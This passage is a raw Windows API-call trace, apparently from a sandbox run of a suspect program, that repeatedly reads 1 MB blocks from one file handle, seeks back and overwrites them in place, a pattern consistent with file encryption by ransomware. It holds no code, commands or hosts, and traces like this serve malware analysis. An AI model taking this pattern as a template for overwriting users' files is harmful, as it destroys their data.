	[0103.923] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.935] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.950] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.964] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.968] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.968] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.970] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.974] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.988] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.005] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.009] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.009] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.011] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.014] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.024] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.053] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.071] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.075] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.075] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.077] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.081] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.090] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.097] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.113] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.117] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.117] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.119] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.123] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.157] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.175] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.179] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.179] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.182] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.186] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.194] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.202] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.216] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.219] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.219] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.221] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.224] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.243] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.253] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.269] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.272] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.272] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.274] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.277] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.283] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.313] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.317] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.317] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.319] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.323] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.333] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.349] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.376] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.380] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.381] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.383] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.386] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.394] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.406] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.424] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.428] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.428] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.430] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.435] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.444] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.460] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.476] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.480] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.480] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.482] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.485] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.492] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.504] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.523] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.527] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.527] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.529] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.532] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.542] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.570] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.589] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.593] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.593] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.595] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.599] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.606] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.619] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.675] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.750] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.750] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.753] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.756] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.767] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.772] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.791] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.794] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.794] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.796] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.798] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.804] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.808] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.822] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.826] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.826] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.828] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.831] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.840] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.861] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.874] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.877] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.877] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.880] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.883] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.889] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.894] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.906] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.908] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.908] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.911] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.914] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.921] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.932] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0104.958] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.962] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.962] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0104.964] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0104.967] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0104.975] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0104.989] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.008] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.011] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.011] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.012] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.015] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.023] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.045] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.073] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.078] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.078] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.081] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.085] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.095] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.111] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.135] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.140] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.140] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.143] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.147] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.166] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.178] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.198] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.221] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.221] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.241] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.256] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.263] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.276] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.295] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.299] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
